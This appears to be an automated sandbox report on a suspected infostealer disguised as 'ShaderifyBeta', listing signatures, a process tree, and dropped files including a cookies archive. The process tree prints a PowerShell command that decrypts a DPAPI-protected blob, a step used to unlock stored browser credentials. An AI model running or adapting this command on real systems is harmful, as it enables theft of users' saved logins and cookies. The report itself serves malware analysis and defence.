Analysis

  • max time kernel
    125s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    08/06/2024, 14:29

General

  • Target
    ShaderifyBeta 1.4.0.exe
  • Size 53.3MB
  • Sample240608-rtqvtadd26
  • SHA256 87e1140039cf26463f5d7903e8f3f097533ff64591b8756ba8cb28094729013b
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 18 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ShaderifyBeta 1.4.0.exe
    "C:\Users\Admin\AppData\Local\Temp\ShaderifyBeta 1.4.0.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2192
    • C:\Users\Admin\AppData\Local\Temp\2hZjbPlr3ACvuSQ8hnsUkFlZJec\ShaderifyBeta.exe
      C:\Users\Admin\AppData\Local\Temp\2hZjbPlr3ACvuSQ8hnsUkFlZJec\ShaderifyBeta.exe
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2628
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2120
        • C:\Windows\system32\tasklist.exe
          tasklist
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:2944
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,232,97,9,140,25,180,36,77,134,39,238,70,100,169,96,105,0,0,0,0,2,0,0,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,240,160,125,94,83,106,167,35,45,147,33,102,172,118,143,171,132,38,132,229,70,214,1,27,230,174,27,127,255,157,192,162,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,148,229,52,34,88,59,90,85,37,193,100,21,105,162,178,177,108,86,92,12,253,141,125,123,112,22,37,48,38,61,79,41,48,0,0,0,16,188,28,126,141,247,118,82,154,151,245,26,81,249,240,3,244,232,202,16,72,202,174,229,152,211,224,217,133,23,82,56,224,49,18,223,128,11,132,210,255,233,10,26,243,64,155,122,64,0,0,0,236,204,134,69,173,157,16,170,137,207,33,87,181,235,91,13,222,152,115,151,176,120,209,189,234,235,176,49,15,223,174,128,196,235,106,119,221,1,36,179,128,70,78,168,207,33,84,113,60,36,223,26,60,98,17,177,179,86,244,18,19,147,162,182), $null, 'CurrentUser')"
        3⤵
        • An obfuscated cmd.exe command-line is typically used to evade detection.
        • Suspicious use of WriteProcessMemory
        PID:1744
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,232,97,9,140,25,180,36,77,134,39,238,70,100,169,96,105,0,0,0,0,2,0,0,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,240,160,125,94,83,106,167,35,45,147,33,102,172,118,143,171,132,38,132,229,70,214,1,27,230,174,27,127,255,157,192,162,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,148,229,52,34,88,59,90,85,37,193,100,21,105,162,178,177,108,86,92,12,253,141,125,123,112,22,37,48,38,61,79,41,48,0,0,0,16,188,28,126,141,247,118,82,154,151,245,26,81,249,240,3,244,232,202,16,72,202,174,229,152,211,224,217,133,23,82,56,224,49,18,223,128,11,132,210,255,233,10,26,243,64,155,122,64,0,0,0,236,204,134,69,173,157,16,170,137,207,33,87,181,235,91,13,222,152,115,151,176,120,209,189,234,235,176,49,15,223,174,128,196,235,106,119,221,1,36,179,128,70,78,168,207,33,84,113,60,36,223,26,60,98,17,177,179,86,244,18,19,147,162,182), $null, 'CurrentUser')
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:384
      • C:\Users\Admin\AppData\Local\Temp\2hZjbPlr3ACvuSQ8hnsUkFlZJec\ShaderifyBeta.exe
        "C:\Users\Admin\AppData\Local\Temp\2hZjbPlr3ACvuSQ8hnsUkFlZJec\ShaderifyBeta.exe" --type=gpu-process --field-trial-handle=1200,13950905321845802054,10294792863553488990,131072 --enable-features=WebComponentsV0Enabled --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SpareRendererForSitePerProcess --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1216 /prefetch:2
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:472
      • C:\Users\Admin\AppData\Local\Temp\2hZjbPlr3ACvuSQ8hnsUkFlZJec\ShaderifyBeta.exe
        "C:\Users\Admin\AppData\Local\Temp\2hZjbPlr3ACvuSQ8hnsUkFlZJec\ShaderifyBeta.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1200,13950905321845802054,10294792863553488990,131072 --enable-features=WebComponentsV0Enabled --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SpareRendererForSitePerProcess --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1600 /prefetch:8
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        PID:1232
      • C:\Users\Admin\AppData\Local\Temp\2hZjbPlr3ACvuSQ8hnsUkFlZJec\ShaderifyBeta.exe
        "C:\Users\Admin\AppData\Local\Temp\2hZjbPlr3ACvuSQ8hnsUkFlZJec\ShaderifyBeta.exe" --type=gpu-process --field-trial-handle=1200,13950905321845802054,10294792863553488990,131072 --enable-features=WebComponentsV0Enabled --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SpareRendererForSitePerProcess --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=1464 /prefetch:2
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:576

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        Admincookies.zip

        • Path C:\Users\Admin\AppData\Local\Temp\2hZjbPlr3ACvuSQ8hnsUkFlZJec\Admincookies.zip
        • Size 22B
        • SHA256 8739c76e681f900923b900c9df0ef75cf421d39cabb54650c4b9ad19b6a76d85
        • MD5 SHA1 SHA512

        D3DCompiler_47.dll

        • Path C:\Users\Admin\AppData\Local\Temp\2hZjbPlr3ACvuSQ8hnsUkFlZJec\D3DCompiler_47.dll
        • Size 4.3MB
        • SHA256 44422e6936dc72b7ac5ed16bb8bcae164b7554513e52efb66a3e942cec328a47
        • MD5 SHA1 SHA512 SSDEEP

        chrome_100_percent.pak

        • Path C:\Users\Admin\AppData\Local\Temp\2hZjbPlr3ACvuSQ8hnsUkFlZJec\chrome_100_percent.pak
        • Size 121KB
        • SHA256 5ae14147992a92548bcad76867dd88cdfcdb69d951c8720920cce6fb135e3189
        • MD5 SHA1 SHA512 SSDEEP

        chrome_200_percent.pak

        • Path C:\Users\Admin\AppData\Local\Temp\2hZjbPlr3ACvuSQ8hnsUkFlZJec\chrome_200_percent.pak
        • Size 181KB
        • SHA256 dd8146b2ee289e4d54a4a0f1fd3b2f61b979c6a2baaba96a406d96c3f4fdb33b
        • MD5 SHA1 SHA512 SSDEEP

        ffmpeg.dll

        • Path C:\Users\Admin\AppData\Local\Temp\2hZjbPlr3ACvuSQ8hnsUkFlZJec\ffmpeg.dll
        • Size 2.7MB
        • SHA256 42a2a996ac433ac33a22776b8418a82753557093d90147b7951138b5c83924b6
        • MD5 SHA1 SHA512 SSDEEP

        icudtl.dat

        • Path C:\Users\Admin\AppData\Local\Temp\2hZjbPlr3ACvuSQ8hnsUkFlZJec\icudtl.dat
        • Size 10.0MB
        • SHA256 df876c7af43ed93eec6aea4d2d55c805009c219653cdeb368f1d048f4922b108
        • MD5 SHA1 SHA512 SSDEEP

        libglesv2.dll

        • Path C:\Users\Admin\AppData\Local\Temp\2hZjbPlr3ACvuSQ8hnsUkFlZJec\libglesv2.dll
        • Size 7.3MB
        • SHA256 a81729fd6ee2d64dfc47501a1d53794cdeee5c1daa3751f7554aea2503686d10
        • MD5 SHA1 SHA512 SSDEEP

        en-US.pak

        • Path C:\Users\Admin\AppData\Local\Temp\2hZjbPlr3ACvuSQ8hnsUkFlZJec\locales\en-US.pak
        • Size 83KB
        • SHA256 d1d3f892be16329c79f9a8ee8c5fa1c9fb46d17edfeb56a3d9407f9d7587a0de
        • MD5 SHA1 SHA512 SSDEEP

        resources.pak

        • Path C:\Users\Admin\AppData\Local\Temp\2hZjbPlr3ACvuSQ8hnsUkFlZJec\resources.pak
        • Size 4.8MB
        • SHA256 7b953443e3cd54a0a4775528b52fbfe5ebecbc2c71731600ed0999d227969506
        • MD5 SHA1 SHA512 SSDEEP

        app.asar

        • Path C:\Users\Admin\AppData\Local\Temp\2hZjbPlr3ACvuSQ8hnsUkFlZJec\resources\app.asar
        • Size 12.0MB
        • SHA256 531e06bda8f60a69836bdf688e73084d4bcace6d4264b6668a32fece55f87ec2
        • MD5 SHA1 SHA512 SSDEEP

        libglesv2.dll

        • Path C:\Users\Admin\AppData\Local\Temp\2hZjbPlr3ACvuSQ8hnsUkFlZJec\swiftshader\libglesv2.dll
        • Size 3.1MB
        • SHA256 e9473ba82f6d8742ab74e67484886291aa69037db72e0ae256b19581de0b772e
        • MD5 SHA1 SHA512 SSDEEP

        v8_context_snapshot.bin

        • Path C:\Users\Admin\AppData\Local\Temp\2hZjbPlr3ACvuSQ8hnsUkFlZJec\v8_context_snapshot.bin
        • Size 168KB
        • SHA256 4a67de195878d290f49b503b83e415917b8bbcbd9936b07a5d33b48e9bc6e0a3
        • MD5 SHA1 SHA512 SSDEEP

        libEGL.dll

        • Path \Users\Admin\AppData\Local\Temp\2hZjbPlr3ACvuSQ8hnsUkFlZJec\libEGL.dll
        • Size 438KB
        • SHA256 f2a841b6ef320f226965c7cb01fbc4709fc31425e490a3edfa20147ce3656c85
        • MD5 SHA1 SHA512 SSDEEP

        libEGL.dll

        • Path \Users\Admin\AppData\Local\Temp\2hZjbPlr3ACvuSQ8hnsUkFlZJec\swiftshader\libEGL.dll
        • Size 460KB
        • SHA256 bd1bc00a5c29726fb39645041fc6c8295256d90c7f739ebeaa8b6c382a4db189
        • MD5 SHA1 SHA512 SSDEEP

        e6f5f883-56c2-4590-a8c1-7b03df2b18df.tmp.node

        • Path \Users\Admin\AppData\Local\Temp\e6f5f883-56c2-4590-a8c1-7b03df2b18df.tmp.node
        • Size 1.4MB
        • SHA256 6aa8763714aa5199a4065259af792292c2a7d6a2c381aa27007255421e5c9d8c
        • MD5 SHA1 SHA512 SSDEEP

        StdUtils.dll

        • Path \Users\Admin\AppData\Local\Temp\nsy1DAF.tmp\StdUtils.dll
        • Size 101KB
        • SHA256 72d38ef115e71fc73dc5978987c583fc8c6b50ff12e4a5d30649a4d164a8b6ae
        • MD5 SHA1 SHA512 SSDEEP

        System.dll

        • Path \Users\Admin\AppData\Local\Temp\nsy1DAF.tmp\System.dll
        • Size 11KB
        • SHA256 a632d74332b3f08f834c732a103dafeb09a540823a2217ca7f49159755e8f1d7
        • MD5 SHA1 SHA512 SSDEEP

        nsis7z.dll

        • Path \Users\Admin\AppData\Local\Temp\nsy1DAF.tmp\nsis7z.dll
        • Size 391KB
        • SHA256 66ac8bd1f273a73e17a3f31d6add739d3cb0330a6417faeda11a9cae00b62d8b
        • MD5 SHA1 SHA512 SSDEEP

        memory/384-182-0x0000000002690000-0x0000000002698000-memory.dmp

        memory/384-181-0x000000001B660000-0x000000001B942000-memory.dmp

        memory/472-228-0x00000000777D0000-0x00000000777D1000-memory.dmp

        memory/472-195-0x0000000000060000-0x0000000000061000-memory.dmp